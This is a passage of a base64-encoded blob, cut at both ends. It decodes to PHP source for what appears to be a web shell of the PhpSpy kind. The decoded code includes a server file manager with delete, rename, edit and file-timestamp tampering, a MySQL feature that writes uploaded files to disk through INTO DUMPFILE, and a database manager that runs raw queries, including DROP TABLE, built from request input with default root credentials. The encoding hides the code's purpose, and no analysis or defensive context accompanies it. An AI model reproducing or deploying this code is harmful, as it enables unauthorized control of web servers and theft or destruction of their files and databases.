aCk7IA0KICAgICAgICAgICAgICAgICRmaWxlZGJbJ2ZpbGVwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsgDQogICAgICAgICAgICAgICAgJGZpbGVkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOyANCiAgICAgICAgICAgICAgICAkZmlsZWRiWydkaXJsaW5rJ109JG5vd3BhdGg7IA0KICAgICAgICAgICAgICAgICRmaWxlZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOyANCiAgICAgICAgICAgICAgICAkZmlsZWRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7IA0KICAgICAgICAgICAgICAgICRmaWxlZGF0YVtdPSRmaWxlZGI7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfS8vIHdoaWxlIA0KICAgICAgICB1bnNldCgkZGlyZGIpOyANCiAgICAgICAgdW5zZXQoJGZpbGVkYik7IA0KICAgICAgICBAY2xvc2VkaXIoJGRpcnMpOyANCiAgICB9IA0KICAgIEBzb3J0KCRkaXJkYXRhKTsgDQogICAgQHNvcnQoJGZpbGVkYXRhKTsgDQogICAgJGRpcl9pID0gJzAnOyANCiAgICBmb3JlYWNoKCRkaXJkYXRhIGFzICRrZXkgPT4gJGRpcmRiKXsgDQogICAgICAgIGlmKCRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuJykgeyANCiAgICAgICAgICAgICR0aGlzYmcgPSBiZygpOyANCiAgICAgICAgICAgIHAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsgDQogICAgICAgICAgICBwKCc8dGQgd2lkdGg9IjIlIiBub3dyYXA+PGZvbnQgZmFjZT0id2luZ2RpbmdzIiBzaXplPSIzIj4wPC9mb250PjwvdGQ+Jyk7IA0KICAgICAgICAgICAgcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOyANCiAgICAgICAgICAgIHAoJzx0ZCBub3dyYXA+Jy4kZGlyZGJbJ210aW1lJ10uJzwvdGQ+Jyk7IA0KICAgICAgICAgICAgcCgnPHRkIG5vd3JhcD4tLTwvdGQ+Jyk7IA0KICAgICAgICAgICAgcCgnPHRkIG5vd3JhcD4nKTsgDQogICAgICAgICAgICBwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydkaXJjaG1vZCddLic8L2E+IC8gJyk7IA0KICAgICAgICAgICAgcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlycGVybSddLic8L2E+Jy4kZGlyZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOyANCiAgICAgICAgICAgIHAoJzx0ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxkaXJcJyxcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyxcJ0FyZSB5b3Ugc3VyZSB3aWxsIGRlbGV0ZSAnLiRkaXJkYlsnZmlsZW5hbWUnXS4nPyBcXG5cXG5JZiBub24tZW1wdHkgZGlyZWN0b3J5LCB3aWxsIGJlIGRlbGV0ZSBhbGwgdGhlIGZpbGVzLlwnKSI+RGVsPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6cmVuYW1lKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT48L3RkPicpOyANCiAgICAgICAgICAgIHAoJzwvdHI+Jyk7IA0KICAgICAgICAgICAgJGRpcl9pKys7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgIGlmKCRkaXJkYlsnZmlsZW5hbWUnXT09Jy4uJykgeyANCiAgICAgICAgICAgICAgICBwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7IA0KICAgICAgICAgICAgICAgIHAoJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsgDQogICAgICAgICAgICAgICAgcCgnPC90cj4nKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQoNCiAgICBwKCc8dHIgYmdjb2xvcj0iI2RkZGRkZCIgc3RseWU9ImJvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDsiPjx0ZCBjb2xzcGFuPSI2IiBoZWlnaHQ9IjUiPjwvdGQ+PC90cj4nKTsgDQogICAgcCgnPGZvcm0gaWQ9ImZpbGVsaXN0IiBuYW1lPSJmaWxlbGlzdCIgYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0icG9zdCI+Jyk7IA0KICAgIG1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7IA0KICAgIG1ha2VoaWRlKCd0aGVmaWxlJyk7IA0KICAgIG1ha2VoaWRlKCdkb2luZycpOyANCiAgICBtYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7IA0KICAgICRmaWxlX2kgPSAnMCc7IA0KICAgIGZvcmVhY2goJGZpbGVkYXRhIGFzICRrZXkgPT4gJGZpbGVkYil7IA0KICAgICAgICBpZigkZmlsZWRiWydmaWxlbmFtZSddIT0nLi4nICYmICRmaWxlZGJbJ2ZpbGVuYW1lJ10hPScuJykgeyANCiAgICAgICAgICAgICRmaWxldXJsID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkZmlsZWRiWydzZXJ2ZXJfbGluayddKTsgDQogICAgICAgICAgICAkdGhpc2JnID0gYmcoKTsgDQogICAgICAgICAgICBwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7IA0KICAgICAgICAgICAgcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgdmFsdWU9IjEiIG5hbWU9ImRsWycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXSI+PC90ZD4nKTsgDQogICAgICAgICAgICBwKCc8dGQ+PGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kZmlsZWRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsgDQogICAgICAgICAgICBwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnbXRpbWUnXS4nPC90ZD4nKTsgDQogICAgICAgICAgICBwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnc2l6ZSddLic8L3RkPicpOyANCiAgICAgICAgICAgIHAoJzx0ZCBub3dyYXA+Jyk7IA0KICAgICAgICAgICAgcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZmlsZWRiWydmaWxlY2htb2QnXS4nPC9hPiAvICcpOyANCiAgICAgICAgICAgIHAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGZpbGVkYlsnZmlsZXBlcm0nXS4nPC9hPicuJGZpbGVkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7IA0KICAgICAgICAgICAgcCgnPHRkIG5vd3JhcD4nKTsgDQogICAgICAgICAgICBwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2Rvd25maWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkRvd248L2E+IHwgJyk7IA0KICAgICAgICAgICAgcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpjb3B5ZmlsZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Q29weTwvYT4gfCAnKTsgDQogICAgICAgICAgICBwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ2VkaXRmaWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPkVkaXQ8L2E+IHwgJyk7IA0KICAgICAgICAgICAgcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT4gfCAnKTsgDQogICAgICAgICAgICBwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+VGltZTwvYT4nKTsgDQogICAgICAgICAgICBwKCc8L3RkPjwvdHI+Jyk7IA0KICAgICAgICAgICAgJGZpbGVfaSsrOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIHAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+PHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bnJhclwnKTsiPlBhY2tpbmcgZG93bmxvYWQgc2VsZWN0ZWQ8L2E+IC0gPGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxmaWxlc1wnKTsiPkRlbGV0ZSBzZWxlY3RlZDwvYT48L3RkPjx0ZCBjb2xzcGFuPSI0IiBhbGlnbj0icmlnaHQiPicuJGRpcl9pLicgZGlyZWN0b3JpZXMgLyAnLiRmaWxlX2kuJyBmaWxlczwvdGQ+PC90cj4nKTsgDQogICAgcCgnPC9mb3JtPjwvdGFibGU+Jyk7IA0KfS8vIGVuZCBkaXIgDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnc3FsZmlsZScpIHsgDQogICAgaWYoJGRvaW5nPT0ibXlzcWx1cGxvYWQiKXsgDQogICAgICAgICRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOyANCiAgICAgICAgJGZpbGVuYW1lID0gJGZpbGVbJ3RtcF9uYW1lJ107IA0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHNhdmVwYXRoKSkgeyANCiAgICAgICAgICAgIG0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOyANCiAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICBpZighJGZpbGVuYW1lKSB7IA0KICAgICAgICAgICAgICAgIG0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7IA0KICAgICAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICAgICAgJGZwPUBmb3BlbigkZmlsZW5hbWUsJ3InKTsgDQogICAgICAgICAgICAgICAgJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOyANCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7IA0KICAgICAgICAgICAgICAgICRjb250ZW50cyA9IGJpbjJoZXgoJGNvbnRlbnRzKTsgDQogICAgICAgICAgICAgICAgaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOyANCiAgICAgICAgICAgICAgICBkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsgDQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IHEoIlNFTEVDVCAweHskY29udGVudHN9IEZST00gbXlzcWwudXNlciBJTlRPIERVTVBGSUxFICckc2F2ZXBhdGgnOyIpOyANCiAgICAgICAgICAgICAgICBtKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgfSANCj8+IA0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPiANCmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7IA0KICAgIGlmKCFkb2luZykgcmV0dXJuOyANCiAgICAkKCdkb2luZycpLnZhbHVlPWRvaW5nOyANCiAgICAkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOyANCiAgICAkKCdteXNxbGZpbGUnKS5kYnBvcnQudmFsdWU9JCgnZGJpbmZvJykuZGJwb3J0LnZhbHVlOyANCiAgICAkKCdteXNxbGZpbGUnKS5kYnVzZXIudmFsdWU9JCgnZGJpbmZvJykuZGJ1c2VyLnZhbHVlOyANCiAgICAkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOyANCiAgICAkKCdteXNxbGZpbGUnKS5kYm5hbWUudmFsdWU9JCgnZGJpbmZvJykuZGJuYW1lLnZhbHVlOyANCiAgICAkKCdteXNxbGZpbGUnKS5jaGFyc2V0LnZhbHVlPSQoJ2RiaW5mbycpLmNoYXJzZXQudmFsdWU7IA0KICAgICQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOyANCn0gDQo8L3NjcmlwdD4gDQo8P3BocCANCiAgICAhJGRiaG9zdCAmJiAkZGJob3N0ID0gJ2xvY2FsaG9zdCc7IA0KICAgICEkZGJ1c2VyICYmICRkYnVzZXIgPSAncm9vdCc7IA0KICAgICEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7IA0KICAgICRjaGFyc2V0cyA9IGFycmF5KCcnPT4nRGVmYXVsdCcsJ2diayc9PidHQksnLCAnYmlnNSc9PidCaWc1JywgJ3V0ZjgnPT4nVVRGLTgnLCAnbGF0aW4xJz0+J0xhdGluMScpOyANCiAgICBmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgSW5mb3JtYXRpb24nLCduYW1lJz0+J2RiaW5mbycpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsgDQogICAgcCgnPHA+Jyk7IA0KICAgIHAoJ0RCSG9zdDonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7IA0KICAgIHAoJzonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1ZSc9PiRkYnBvcnQpKTsgDQogICAgcCgnREJVc2VyOicpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsgDQogICAgcCgnREJQYXNzOicpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsgDQogICAgcCgnREJOYW1lOicpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJuYW1lJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYm5hbWUpKTsgDQogICAgcCgnREJDaGFyc2V0OicpOyANCiAgICBtYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J2NoYXJzZXQnLCdvcHRpb24nPT4kY2hhcnNldHMsJ3NlbGVjdGVkJz0+JGNoYXJzZXQpKTsgDQogICAgcCgnPC9wPicpOyANCiAgICBmb3JtZm9vdCgpOyANCiAgICBwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJteXNxbGZpbGUiIGlkPSJteXNxbGZpbGUiPicpOyANCiAgICBwKCc8aDI+VXBsb2FkIGZpbGU8L2gyPicpOyANCiAgICBwKCc8cD48Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7IA0KICAgIHAoJzxwPlNhdmUgcGF0aChmdWxscGF0aCk6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InNhdmVwYXRoIiBzaXplPSI0NSIgdHlwZT0idGV4dCIgLz4gQ2hvb3NlIGEgZmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0idXBsb2FkZmlsZSIgdHlwZT0iZmlsZSIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbHVwbG9hZFwnKTsiPlVwbG9hZDwvYT48L3A+Jyk7IA0KICAgIHAoJzxoMj5Eb3dubG9hZCBmaWxlPC9oMj4nKTsgDQogICAgcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7IA0KICAgIG1ha2VoaWRlKCdkYmhvc3QnKTsgDQogICAgbWFrZWhpZGUoJ2RicG9ydCcpOyANCiAgICBtYWtlaGlkZSgnZGJ1c2VyJyk7IA0KICAgIG1ha2VoaWRlKCdkYnBhc3MnKTsgDQogICAgbWFrZWhpZGUoJ2RibmFtZScpOyANCiAgICBtYWtlaGlkZSgnY2hhcnNldCcpOyANCiAgICBtYWtlaGlkZSgnZG9pbmcnKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsgDQogICAgcCgnPC9mb3JtPicpOyANCn0gDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnc3FsYWRtaW4nKSB7IA0KICAgICEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsgDQogICAgISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsgDQogICAgISRkYnBvcnQgJiYgJGRicG9ydCA9ICczMzA2JzsgDQogICAgJGRiZm9ybSA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY29ubmVjdCIgbmFtZT0iY29ubmVjdCIgdmFsdWU9IjEiIC8+JzsgDQogICAgaWYoaXNzZXQoJGRiaG9zdCkpeyANCiAgICAgICAgJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRiaG9zdFwiIG5hbWU9XCJkYmhvc3RcIiB2YWx1ZT1cIiRkYmhvc3RcIiAvPlxuIjsgDQogICAgfSANCiAgICBpZihpc3NldCgkZGJ1c2VyKSkgeyANCiAgICAgICAgJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRidXNlclwiIG5hbWU9XCJkYnVzZXJcIiB2YWx1ZT1cIiRkYnVzZXJcIiAvPlxuIjsgDQogICAgfSANCiAgICBpZihpc3NldCgkZGJwYXNzKSkgeyANCiAgICAgICAgJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRicGFzc1wiIG5hbWU9XCJkYnBhc3NcIiB2YWx1ZT1cIiRkYnBhc3NcIiAvPlxuIjsgDQogICAgfSANCiAgICBpZihpc3NldCgkZGJwb3J0KSkgeyANCiAgICAgICAgJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRicG9ydFwiIG5hbWU9XCJkYnBvcnRcIiB2YWx1ZT1cIiRkYnBvcnRcIiAvPlxuIjsgDQogICAgfSANCiAgICBpZihpc3NldCgkZGJuYW1lKSkgeyANCiAgICAgICAgJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRibmFtZVwiIG5hbWU9XCJkYm5hbWVcIiB2YWx1ZT1cIiRkYm5hbWVcIiAvPlxuIjsgDQogICAgfSANCiAgICBpZihpc3NldCgkY2hhcnNldCkpIHsgDQogICAgICAgICRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJjaGFyc2V0XCIgbmFtZT1cImNoYXJzZXRcIiB2YWx1ZT1cIiRjaGFyc2V0XCIgLz5cbiI7IA0KICAgIH0gDQoNCiAgICBpZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgJHNhdmVhc2ZpbGUpIHsgDQogICAgICAgIGlmICghJHRhYmxlKSB7IA0KICAgICAgICAgICAgbSgnUGxlYXNlIGNob29zZSB0aGUgdGFibGUnKTsgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7IA0KICAgICAgICAgICAgJHRhYmxlID0gYXJyYXlfZmxpcCgkdGFibGUpOyANCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkcGF0aCwndycpOyANCiAgICAgICAgICAgIGlmICgkZnApIHsgDQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IHEoJ1NIT1cgdGFibGVzJyk7IA0KICAgICAgICAgICAgICAgIGlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsgDQogICAgICAgICAgICAgICAgJG15c3FsZGF0YSA9ICcnOyANCiAgICAgICAgICAgICAgICB3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7IA0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJHRhYmxlWyRjdXJyb3dbMF1dKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIHNxbGR1bXB0YWJsZSgkY3Vycm93WzBdLCAkZnApOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOyANCiAgICAgICAgICAgICAgICAkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJHBhdGgpOyANCiAgICAgICAgICAgICAgICBtKCdEYXRhYmFzZSBoYXMgc3VjY2VzcyBiYWNrdXAgdG8gPGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kcGF0aC4nPC9hPicpOyANCiAgICAgICAgICAgICAgICBteXNxbF9jbG9zZSgpOyANCiAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgIG0oJ0JhY2t1cCBmYWlsZWQnKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgaWYgKCRpbnNlcnQgJiYgJGluc2VydHNxbCkgeyANCiAgICAgICAgJGtleXN0ciA9ICR2YWxzdHIgPSAkdG1wID0gJyc7IA0KICAgICAgICBmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7IA0KICAgICAgICAgICAgaWYgKCR2YWwpIHsgDQogICAgICAgICAgICAgICAgJGtleXN0ciAuPSAkdG1wLiRrZXk7IA0KICAgICAgICAgICAgICAgICR2YWxzdHIgLj0gJHRtcC4iJyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7IA0KICAgICAgICAgICAgICAgICR0bXAgPSAnLCc7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgaWYgKCRrZXlzdHIgJiYgJHZhbHN0cikgeyANCiAgICAgICAgICAgIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOyANCiAgICAgICAgICAgIG0ocSgiSU5TRVJUIElOVE8gJHRhYmxlbmFtZSAoJGtleXN0cikgVkFMVUVTICgkdmFsc3RyKSIpID8gJ0luc2VydCBuZXcgcmVjb3JkIG9mIHN1Y2Nlc3MnIDogbXlzcWxfZXJyb3IoKSk7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgaWYgKCR1cGRhdGUgJiYgJGluc2VydHNxbCAmJiAkYmFzZTY0KSB7IA0KICAgICAgICAkdmFsc3RyID0gJHRtcCA9ICcnOyANCiAgICAgICAgZm9yZWFjaCgkaW5zZXJ0c3FsIGFzICRrZXkgPT4gJHZhbCkgeyANCiAgICAgICAgICAgICR2YWxzdHIgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7IA0KICAgICAgICAgICAgJHRtcCA9ICcsJzsgDQogICAgICAgIH0gDQogICAgICAgIGlmICgkdmFsc3RyKSB7IA0KICAgICAgICAgICAgJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsgDQogICAgICAgICAgICBkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsgDQogICAgICAgICAgICBtKHEoIlVQREFURSAkdGFibGVuYW1lIFNFVCAkdmFsc3RyIFdIRVJFICR3aGVyZSBMSU1JVCAxIikgPyAnUmVjb3JkIHVwZGF0aW5nJyA6IG15c3FsX2Vycm9yKCkpOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGlmICgkZG9pbmcgPT0gJ2RlbCcgJiYgJGJhc2U2NCkgeyANCiAgICAgICAgJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsgDQogICAgICAgICRkZWxldGVfc3FsID0gIkRFTEVURSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIjsgDQogICAgICAgIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOyANCiAgICAgICAgbShxKCJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSIpID8gJ0RlbGV0aW9uIHJlY29yZCBvZiBzdWNjZXNzJyA6IG15c3FsX2Vycm9yKCkpOyANCiAgICB9IA0KDQogICAgaWYgKCR0YWJsZW5hbWUgJiYgJGRvaW5nID09ICdkcm9wJykgeyANCiAgICAgICAgZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7IA0KICAgICAgICBpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsgDQogICAgICAgICAgICBtKCdEcm9wIHRhYmxlIG9mIHN1Y2Nlc3MnKTsgDQogICAgICAgICAgICAkdGFibGVuYW1lID0gJyc7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgIG0obXlzcWxfZXJyb3IoKSk7IA0KICAgICAgICB9IA0KICAgIH0gDQoNCiAgICAkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsgDQoNCiAgICBmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgTWFuYWdlcicpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7IA0KICAgIHAoJzxwPicpOyANCiAgICBwKCdEQkhvc3Q6Jyk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOyANCiAgICBwKCc6Jyk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7IA0KICAgIHAoJ0RCVXNlcjonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7IA0KICAgIHAoJ0RCUGFzczonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7IA0KICAgIHAoJ0RCQ2hhcnNldDonKTsgDQogICAgbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9Pidj